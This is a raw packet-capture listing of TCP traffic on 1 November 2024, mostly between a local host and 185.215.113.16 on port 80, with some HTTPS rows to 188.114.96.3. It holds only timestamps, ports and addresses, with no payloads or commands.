Nov 1, 2024 08:51:33.765296936 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.765310049 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.765321016 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.765335083 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.765336990 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.765374899 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.765397072 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.766042948 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.766057968 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.766072989 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.766103029 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.766123056 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.834100962 CET	443	57789	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:33.834321976 CET	57789	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:33.835505962 CET	57789	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:33.835534096 CET	443	57789	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:33.835836887 CET	443	57789	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:33.837114096 CET	57789	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:33.837299109 CET	57789	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:33.837347984 CET	443	57789	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:33.837436914 CET	57789	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:33.837452888 CET	443	57789	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:33.859009981 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.859030008 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.859088898 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.859105110 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.859215975 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.859230042 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.859277964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.859278917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.859294891 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.859339952 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.859353065 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.859380007 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.859395981 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.859422922 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.859438896 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.888726950 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.888741970 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.888756990 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.888773918 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.888789892 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.888813972 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.888818026 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.888843060 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.888871908 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.889202118 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.889225960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.889250040 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.889262915 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.889369965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.889385939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.889401913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.889415979 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.889417887 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.889437914 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.889465094 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.889957905 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.889974117 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.889987946 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.890011072 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.890037060 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.983275890 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.983310938 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.983335972 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.983362913 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.983391047 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.983422041 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.983438015 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.983453989 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.983469009 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.983498096 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.983793974 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.983808994 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.983824015 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:33.983841896 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:33.983865976 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.013111115 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013134003 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013165951 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013171911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.013181925 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013200045 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.013200045 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013207912 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.013217926 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013226986 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.013237000 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013245106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013246059 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.013253927 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013269901 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013308048 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.013339996 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.013650894 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013696909 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013705015 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.013715029 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013731956 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.013740063 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.013758898 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.013792038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.014190912 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.014204979 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.014238119 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.014252901 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.107279062 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.107306004 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.107331991 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.107393026 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.107419968 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.107424974 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.107436895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.107451916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.107476950 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.107508898 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.107780933 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.107805014 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.107820988 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.107829094 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.107852936 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.107858896 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.136785984 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.136812925 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.136828899 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.136845112 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.136871099 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.136909962 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.137029886 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.137047052 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.137068987 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.137084961 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.137087107 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.137100935 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.137106895 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.137119055 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.137146950 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.137166023 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.137893915 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.137909889 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.137924910 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.137942076 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.137967110 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.179167986 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.179187059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.179203033 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.179277897 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.179322004 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.231297970 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.231322050 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.231350899 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.231374979 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.231389999 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.231405020 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.231410027 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.231431007 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.231434107 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.231448889 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.231479883 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.260699987 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.260756969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.260771036 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.260787010 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.260848045 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.260860920 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.260879040 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.260906935 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.261152029 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.261178017 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.261193991 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.261210918 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.261226892 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.261226892 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.261253119 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.261269093 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.261873960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.261895895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.261913061 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.261928082 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.261945963 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.261950016 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.261981010 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.262006044 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.262511969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.262526035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.262574911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.303178072 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.303205013 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.303227901 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.303388119 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.355602026 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.355632067 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.355649948 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.355659008 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.355680943 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.355701923 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.355725050 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.355741978 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.355763912 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.355779886 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.384989023 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.385054111 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.385068893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.385099888 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.385109901 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.385123968 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.385137081 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.385160923 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.385181904 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.385199070 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.385220051 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.385243893 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.385284901 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.385298967 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.385315895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.385315895 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.385332108 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.385335922 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.385354996 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.385375977 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.386157990 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.386198997 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.386235952 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.386251926 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.386269093 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.386276007 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.386286974 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.386288881 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.386307955 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.386322975 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.427026987 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.427061081 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.427076101 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.427170038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.427195072 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.427211046 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.427222013 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.427227020 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.427237988 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.427272081 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.436429024 CET	443	57789	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:34.436518908 CET	443	57789	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:34.436580896 CET	57789	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:34.470674992 CET	57789	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:34.470709085 CET	443	57789	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:34.479676962 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.479703903 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.479718924 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.479724884 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.479734898 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.479738951 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.479753971 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.479763031 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.479769945 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.479783058 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.479790926 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.479815960 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.508897066 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.508925915 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.508941889 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.508960962 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.508979082 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.509011984 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.509051085 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.509063005 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.509080887 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.509103060 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.509108067 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.509114027 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.509125948 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.509144068 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.509164095 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.509717941 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.509733915 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.509747982 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.509754896 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.509773016 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.509782076 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.510035992 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.510062933 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.510076046 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.510080099 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.510097980 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.510099888 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.510113955 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.510117054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.510133028 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.510154009 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.551268101 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.551294088 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.551310062 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.551337004 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.551338911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.551338911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.551358938 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.551374912 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.551492929 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.551506996 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.551531076 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.551542997 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.603784084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.603830099 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.603856087 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.603871107 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.603871107 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.603888035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.603898048 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.603898048 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.603915930 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.603931904 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.632996082 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.633058071 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.633070946 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.633075953 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.633088112 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.633101940 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.633106947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.633111000 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.633126974 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.633146048 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.633307934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.633342981 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.633364916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.633380890 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.633397102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.633404970 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.633414030 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.633430004 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.633815050 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.633841991 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.633851051 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.633857012 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.633874893 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.633889914 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.634140015 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.634172916 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.634176970 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.634192944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:34.634211063 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:34.634223938 CET	57777	80	192.168.2.4	185.215.113.16
